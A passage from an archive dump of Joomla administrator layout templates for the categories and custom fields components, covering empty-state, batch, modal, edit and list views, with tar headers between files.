 * @subpackage  com_categories
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$extension = $this->state->get('filter.extension');
$component = $this->state->get('filter.component');
$section = $this->state->get('filter.section');

// Special handling for the title as com_categories is a service component for many other components. Copied from the categories view.
$lang = Factory::getApplication()->getLanguage();
$lang->load($component, JPATH_BASE)
|| $lang->load($component, JPATH_ADMINISTRATOR . '/components/' . $component);

// If a component categories title string is present, let's use it.
if ($lang->hasKey($component_title_key = strtoupper($component . ($section ? "_$section" : '')) . '_CATEGORIES_TITLE')) {
    $title = Text::_($component_title_key);
} elseif ($lang->hasKey($component_section_key = strtoupper($component . ($section ? "_$section" : '')))) {
    // Else if the component section string exists, let's use it
    $title = Text::sprintf('COM_CATEGORIES_CATEGORIES_TITLE', $this->escape(Text::_($component_section_key)));
} else // Else use the base title
{
    $title = Text::_('COM_CATEGORIES_CATEGORIES_BASE_TITLE');
}

$displayData = [
    'textPrefix' => 'COM_CATEGORIES',
    'formURL'    => 'index.php?option=com_categories&extension=' . $extension,
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Category',
    'title'      => $title,
    'icon'       => 'icon-folder categories content-categories',
];

if (Factory::getApplication()->getIdentity()->authorise('core.create', $extension)) {
    $displayData['createURL'] = 'index.php?option=com_categories&extension=' . $extension . '&task=category.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
categories/default_batch_body.php000064400000004320151750347760013222 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$published = (int) $this->state->get('filter.published');
$extension = $this->escape($this->state->get('filter.extension'));

?>

<div class="p-3">
    <div class="row">
        <?php if (Multilanguage::isEnabled()) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.language', []); ?>
                </div>
            </div>
        <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.access', []); ?>
            </div>
        </div>
    </div>
    <div class="row">
        <?php if ($published >= 0) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.item', ['extension' => $extension, 'addRoot' => true]); ?>
                </div>
            </div>
        <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.tag', []); ?>
            </div>
        </div>
    </div>
    <?php if ($extension === 'com_content') : ?>
    <div class="row">
        <div class="form-group col-md-6">
            <div class="controls">
                <label id="flip-ordering-id-lbl" for="flip-ordering-id" class="control-label">
                    <?php echo Text::_('JLIB_HTML_BATCH_FLIPORDERING_LABEL'); ?>
                </label>
                <fieldset id="flip-ordering-id">
                    <?php echo HTMLHelper::_('select.booleanlist', 'batch[flip_ordering]', [], 0, 'JYES', 'JNO', 'flip-ordering-id'); ?>
                </fieldset>
            </div>
        </div>
    </div>
    <?php endif; ?>
</div>
categories/modal.php000064400000016166151750347760010527 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\Component\Content\Site\Helper\RouteHelper;

$app = Factory::getApplication();

if ($app->isClient('site')) {
    Session::checkToken('get') or die(Text::_('JINVALID_TOKEN'));
}

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('core');

$extension = $this->escape($this->state->get('filter.extension'));
$function  = $app->getInput()->getCmd('function', 'jSelectCategory');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div class="container-popup">

    <form action="<?php echo Route::_('index.php?option=com_categories&view=categories&layout=modal&tmpl=component&function=' . $function . '&' . Session::getFormToken() . '=1'); ?>" method="post" name="adminForm" id="adminForm">

        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>

        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php else : ?>
            <table class="table" id="categoryList">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_CATEGORIES_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <th scope="col" class="w-1 text-center">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-15 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language_title', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-1 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                    $iconStates = [
                        -2 => 'icon-trash',
                        0  => 'icon-unpublish',
                        1  => 'icon-publish',
                        2  => 'icon-archive',
                    ];
                    ?>
                    <?php foreach ($this->items as $i => $item) : ?>
                        <?php if ($item->language && Multilanguage::isEnabled()) {
                            $tag = strlen($item->language);
                            if ($tag == 5) {
                                $lang = substr($item->language, 0, 2);
                            } elseif ($tag == 6) {
                                $lang = substr($item->language, 0, 3);
                            } else {
                                $lang = '';
                            }
                        } elseif (!Multilanguage::isEnabled()) {
                            $lang = '';
                        }
                        ?>
                        <tr class="row<?php echo $i % 2; ?>">
                            <td class="text-center">
                                <span class="tbody-icon">
                                    <span class="<?php echo $iconStates[$this->escape($item->published)]; ?>" aria-hidden="true"></span>
                                </span>
                            </td>
                            <th scope="row">
                                <?php echo LayoutHelper::render('joomla.html.treeprefix', ['level' => $item->level]); ?>
                                <a href="javascript:void(0)" onclick="if (window.parent) window.parent.<?php echo $this->escape($function); ?>('<?php echo $item->id; ?>', '<?php echo $this->escape(addslashes($item->title)); ?>', null, '<?php echo $this->escape(RouteHelper::getCategoryRoute($item->id, $item->language)); ?>', '<?php echo $this->escape($lang); ?>', null);">
                                    <?php echo $this->escape($item->title); ?></a>
                                <div class="small" title="<?php echo $this->escape($item->path); ?>">
                                    <?php if (empty($item->note)) : ?>
                                        <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
                                    <?php else : ?>
                                        <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS_NOTE', $this->escape($item->alias), $this->escape($item->note)); ?>
                                    <?php endif; ?>
                                </div>
                            </th>
                            <td class="small d-none d-md-table-cell">
                                <?php echo $this->escape($item->access_level); ?>
                            </td>
                            <td class="small d-none d-md-table-cell">
                                <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                            </td>
                            <td class="d-none d-md-table-cell">
                                <?php echo (int) $item->id; ?>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

        <?php endif; ?>

        <input type="hidden" name="extension" value="<?php echo $extension; ?>">
        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <input type="hidden" name="forcedLanguage" value="<?php echo $app->getInput()->get('forcedLanguage', '', 'CMD'); ?>">
        <?php echo HTMLHelper::_('form.token'); ?>

    </form>
</div>
category/modal.php000064400000000604151750347760010205 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div class="container-popup">
    <?php $this->setLayout('edit'); ?>
    <?php echo $this->loadTemplate(); ?>
</div>
category/edit.xml000064400000001172151750347760010050 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CATEGORIES_CATEGORY_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_CATEGORIES_CATEGORY_VIEW_EDIT_DESC]]>
		</message>
	</layout>
	<fieldset name="request">
		<fields name="request">
			<field
				name="extension"
				type="ComponentsCategory"
				label="COM_CATEGORIES_CHOOSE_COMPONENT_LABEL"
				required="true"
				addfieldprefix="Joomla\Component\Categories\Administrator\Field"
				>
				<option value="">COM_MENUS_OPTION_SELECT_COMPONENT</option>
			</field>
			<field
				name="id"
				type="hidden"
				default="0"
			/>
		</fields>
	</fieldset>
</metadata>
category/edit.php000064400000012660151750347760010043 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Workflow\WorkflowServiceInterface;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$app = Factory::getApplication();
$input = $app->getInput();

$assoc = Associations::isEnabled();
// Are associations implemented for this extension?
$extensionassoc = array_key_exists('item_associations', $this->form->getFieldsets());

// Fieldsets to not automatically render by /layouts/joomla/edit/params.php
$this->ignore_fieldsets = ['jmetadata', 'item_associations'];

$c = Factory::getApplication()->bootComponent($this->state->get('category.extension'));

if ($c instanceof WorkflowServiceInterface) {
    $wcontext = $c->getCategoryWorkflowContext($this->state->get('category.section'));

    if (!$c->isWorkflowActive($wcontext)) {
        $this->ignore_fieldsets[] = 'workflow';
    }
}

$this->useCoreUI = true;

// In case of modal
$isModal = $input->get('layout') === 'modal';
$layout  = $isModal ? 'modal' : 'edit';
$tmpl    = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
?>

<form action="<?php echo Route::_('index.php?option=com_categories&extension=' . $input->getCmd('extension', 'com_content') . '&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" aria-label="<?php echo Text::_('COM_CATEGORIES_FORM_TITLE_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'general', 'recall' => true, 'breakpoint' => 768]); ?>
        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'general', Text::_('JCATEGORY')); ?>
        <div class="row">
            <div class="col-lg-9">
                <?php echo $this->form->getLabel('description'); ?>
                <?php echo $this->form->getInput('description'); ?>
            </div>
            <div class="col-lg-3">
                <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
            </div>
        </div>

        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'publishing', Text::_('JGLOBAL_FIELDSET_PUBLISHING')); ?>
        <div class="row">
            <div class="col-12 col-lg-6">
                <fieldset id="fieldset-publishingdata" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></legend>
                    <div>
                    <?php echo LayoutHelper::render('joomla.edit.publishingdata', $this); ?>
                    </div>
                </fieldset>
            </div>
            <div class="col-12 col-lg-6">
                <fieldset id="fieldset-metadata" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_METADATA_OPTIONS'); ?></legend>
                    <div>
                    <?php echo LayoutHelper::render('joomla.edit.metadata', $this); ?>
                    </div>
                </fieldset>
            </div>
        </div>

        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php if (!$isModal && $assoc && $extensionassoc) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'associations', Text::_('JGLOBAL_FIELDSET_ASSOCIATIONS')); ?>
            <fieldset id="fieldset-associations" class="options-form">
            <legend><?php echo Text::_('JGLOBAL_FIELDSET_ASSOCIATIONS'); ?></legend>
            <div>
            <?php echo LayoutHelper::render('joomla.edit.associations', $this); ?>
            </div>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php elseif ($isModal && $assoc && $extensionassoc) : ?>
            <div class="hidden"><?php echo LayoutHelper::render('joomla.edit.associations', $this); ?></div>
        <?php endif; ?>

        <?php if ($this->canDo->get('core.admin')) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'rules', Text::_('COM_CATEGORIES_FIELDSET_RULES')); ?>
            <fieldset id="fieldset-rules" class="options-form">
                <legend><?php echo Text::_('COM_CATEGORIES_FIELDSET_RULES'); ?></legend>
                <div>
                <?php echo $this->form->getInput('rules'); ?>
                </div>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

        <?php echo $this->form->getInput('extension'); ?>
        <input type="hidden" name="task" value="">
        <input type="hidden" name="return" value="<?php echo $input->getBase64('return'); ?>">
        <input type="hidden" name="forcedLanguage" value="<?php echo $input->get('forcedLanguage', '', 'cmd'); ?>">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
groups/default_batch_body.php000064400000001571151750476230012414 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Layout\LayoutHelper;
?>

<div class="p-3">
    <div class="row">
        <?php if (Multilanguage::isEnabled()) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.language', []); ?>
                </div>
            </div>
        <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.access', []); ?>
            </div>
        </div>
    </div>
</div>
groups/default_batch_footer.php000064400000001360151750476230012751 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" onclick="document.getElementById('batch-field-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value=''" data-bs-dismiss="modal">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('group.batch');return false;">
    <?php echo Text::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
field/edit.php000064400000010646151750476230007306 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

$app = Factory::getApplication();
$input = $app->getInput();

$this->useCoreUI = true;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate')
    ->useScript('com_fields.admin-field-edit');

?>

<form action="<?php echo Route::_('index.php?option=com_fields&context=' . $input->getCmd('context', 'com_content') . '&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" aria-label="<?php echo Text::_('COM_FIELDS_FIELD_FORM_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'general', 'recall' => true, 'breakpoint' => 768]); ?>
        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'general', Text::_('COM_FIELDS_VIEW_FIELD_FIELDSET_GENERAL', true)); ?>
        <div class="row">
            <div class="col-lg-9">
                <?php echo $this->form->renderField('type'); ?>
                <?php echo $this->form->renderField('name'); ?>
                <?php echo $this->form->renderField('label'); ?>
                <?php echo $this->form->renderField('description'); ?>
                <?php echo $this->form->renderField('required'); ?>
                <?php echo $this->form->renderField('only_use_in_subform'); ?>
                <?php echo $this->form->renderField('default_value'); ?>

                <?php foreach ($this->form->getFieldsets('fieldparams') as $name => $fieldSet) : ?>
                    <?php foreach ($this->form->getFieldset($name) as $field) : ?>
                        <?php echo $field->renderField(); ?>
                    <?php endforeach; ?>
                <?php endforeach; ?>
            </div>
            <div class="col-lg-3">
                <?php $this->set(
                    'fields',
                    [
                            [
                                'published',
                                'state',
                                'enabled',
                            ],
                            'group_id',
                            'assigned_cat_ids',
                            'access',
                            'language',
                            'note',
                        ]
                ); ?>
                <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
                <?php $this->set('fields', null); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php $this->set('ignore_fieldsets', ['fieldparams']); ?>
        <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>
        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'publishing', Text::_('JGLOBAL_FIELDSET_PUBLISHING', true)); ?>
        <fieldset id="fieldset-publishingdata" class="options-form">
            <legend><?php echo Text::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></legend>
            <div>
            <?php echo LayoutHelper::render('joomla.edit.publishingdata', $this); ?>
            </div>
        </fieldset>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php if ($this->canDo->get('core.admin')) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'rules', Text::_('JGLOBAL_ACTION_PERMISSIONS_LABEL', true)); ?>
                <fieldset id="fieldset-rules" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_ACTION_PERMISSIONS_LABEL'); ?></legend>
                    <div>
                    <?php echo $this->form->getInput('rules'); ?>
                    </div>
                </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>
        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
        <?php echo $this->form->getInput('context'); ?>
        <input type="hidden" name="task" value="">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
fields/default_batch_footer.php000064400000001360151750476230012700 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" onclick="document.getElementById('batch-field-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value=''" data-bs-dismiss="modal">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('field.batch');return false;">
    <?php echo Text::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
fields/default_batch_body.php000064400000005012151750476230012335 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_fields.admin-fields-batch');
$wa->useScript('joomla.batch-copymove');

$context = $this->escape($this->state->get('filter.context'));
?>

<div class="p-3">
    <div class="row">
        <?php if (Multilanguage::isEnabled()) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.language', []); ?>
                </div>
            </div>
        <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.access', []); ?>
            </div>
        </div>
    </div>
    <div class="row">
        <div class="form-group col-md-6">
            <div class="controls">
                <?php $options = [
                    HTMLHelper::_('select.option', 'c', Text::_('JLIB_HTML_BATCH_COPY')),
                    HTMLHelper::_('select.option', 'm', Text::_('JLIB_HTML_BATCH_MOVE'))
                ];
?>
                <label id="batch-choose-action-lbl" for="batch-group-id">
                    <?php echo Text::_('COM_FIELDS_BATCH_GROUP_LABEL'); ?>
                </label>
                <div id="batch-choose-action" class="control-group">
                    <select name="batch[group_id]" class="form-select" id="batch-group-id">
                        <option value=""><?php echo Text::_('JLIB_HTML_BATCH_NO_CATEGORY'); ?></option>
                        <option value="nogroup"><?php echo Text::_('COM_FIELDS_BATCH_GROUP_OPTION_NONE'); ?></option>
                        <?php echo HTMLHelper::_('select.options', $this->get('Groups'), 'value', 'text'); ?>
                    </select>
                </div>
                <div id="batch-copy-move">
                    <?php echo Text::_('JLIB_HTML_BATCH_MOVE_QUESTION'); ?>
                    <?php echo HTMLHelper::_('select.radiolist', $options, 'batch[move_copy]', '', 'value', 'text', 'm'); ?>
                </div>
            </div>
        </div>
    </div>
</div>
fields/default.php000064400000033762151750476230010174 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Categories\Categories;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$app       = Factory::getApplication();
$user      = Factory::getUser();
$userId    = $user->get('id');
$context   = $this->escape($this->state->get('filter.context'));
$component = $this->state->get('filter.component');
$section   = $this->state->get('filter.section');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$ordering  = ($listOrder == 'a.ordering');
$saveOrder = ($listOrder == 'a.ordering' && strtolower($listDirn) == 'asc');

// The category object of the component
$category = Categories::getInstance(str_replace('com_', '', $component) . '.' . $section);

// If there is no category for the component and section, then check the component only
if (!$category) {
    $category = Categories::getInstance(str_replace('com_', '', $component));
}

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_fields&task=fields.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}

$searchToolsOptions = [];

// Only show field contexts filter if there are more than one option
if (count($this->filterForm->getField('context')->options) > 1) {
    $searchToolsOptions['selectorFieldName'] = 'context';
}
?>

<form action="<?php echo Route::_('index.php?option=com_fields&view=fields&context=' . $this->state->get('filter.context')); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this, 'options' => $searchToolsOptions]); ?>
                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table" id="fieldList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_FIELDS_FIELDS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                                </th>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_FIELDS_FIELD_TYPE_LABEL', 'a.type', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_FIELDS_FIELD_GROUP_LABEL', 'g.title', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
                                </th>
                                <?php if (Multilanguage::isEnabled()) : ?>
                                    <th scope="col" class="w-10 d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'a.language', $listDirn, $listOrder); ?>
                                    </th>
                                <?php endif; ?>
                                <th scope="col" class="w-5 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody <?php if ($saveOrder) :
                            ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="true"<?php
                               endif; ?>>
                            <?php foreach ($this->items as $i => $item) : ?>
                                <?php $ordering   = ($listOrder == 'a.ordering'); ?>
                                <?php $canEdit    = $user->authorise('core.edit', $component . '.field.' . $item->id); ?>
                                <?php $canCheckin = $user->authorise('core.admin', 'com_checkin') || $item->checked_out == $userId || is_null($item->checked_out); ?>
                                <?php $canEditOwn = $user->authorise('core.edit.own', $component . '.field.' . $item->id) && $item->created_user_id == $userId; ?>
                                <?php $canChange  = $user->authorise('core.edit.state', $component . '.field.' . $item->id) && $canCheckin; ?>
                                <tr class="row<?php echo $i % 2; ?>" data-draggable-group="<?php echo $item->group_id; ?>" item-id="<?php echo $item->id; ?>">
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->title); ?>
                                    </td>
                                    <td class="text-center d-none d-md-table-cell">
                                        <?php $iconClass = ''; ?>
                                        <?php if (!$canChange) : ?>
                                            <?php $iconClass = ' inactive'; ?>
                                        <?php elseif (!$saveOrder) : ?>
                                            <?php $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED'); ?>
                                        <?php endif; ?>
                                        <span class="sortable-handler<?php echo $iconClass; ?>">
                                            <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                        </span>
                                        <?php if ($canChange && $saveOrder) : ?>
                                            <input type="text" class="hidden" name="order[]" size="5" value="<?php echo $item->ordering; ?>">
                                        <?php endif; ?>
                                    </td>
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('jgrid.published', $item->state, $i, 'fields.', $canChange, 'cb'); ?>
                                    </td>
                                    <th scope="row">
                                        <div class="break-word">
                                            <?php if ($item->checked_out) : ?>
                                                <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'fields.', $canCheckin); ?>
                                            <?php endif; ?>
                                            <?php if ($canEdit || $canEditOwn) : ?>
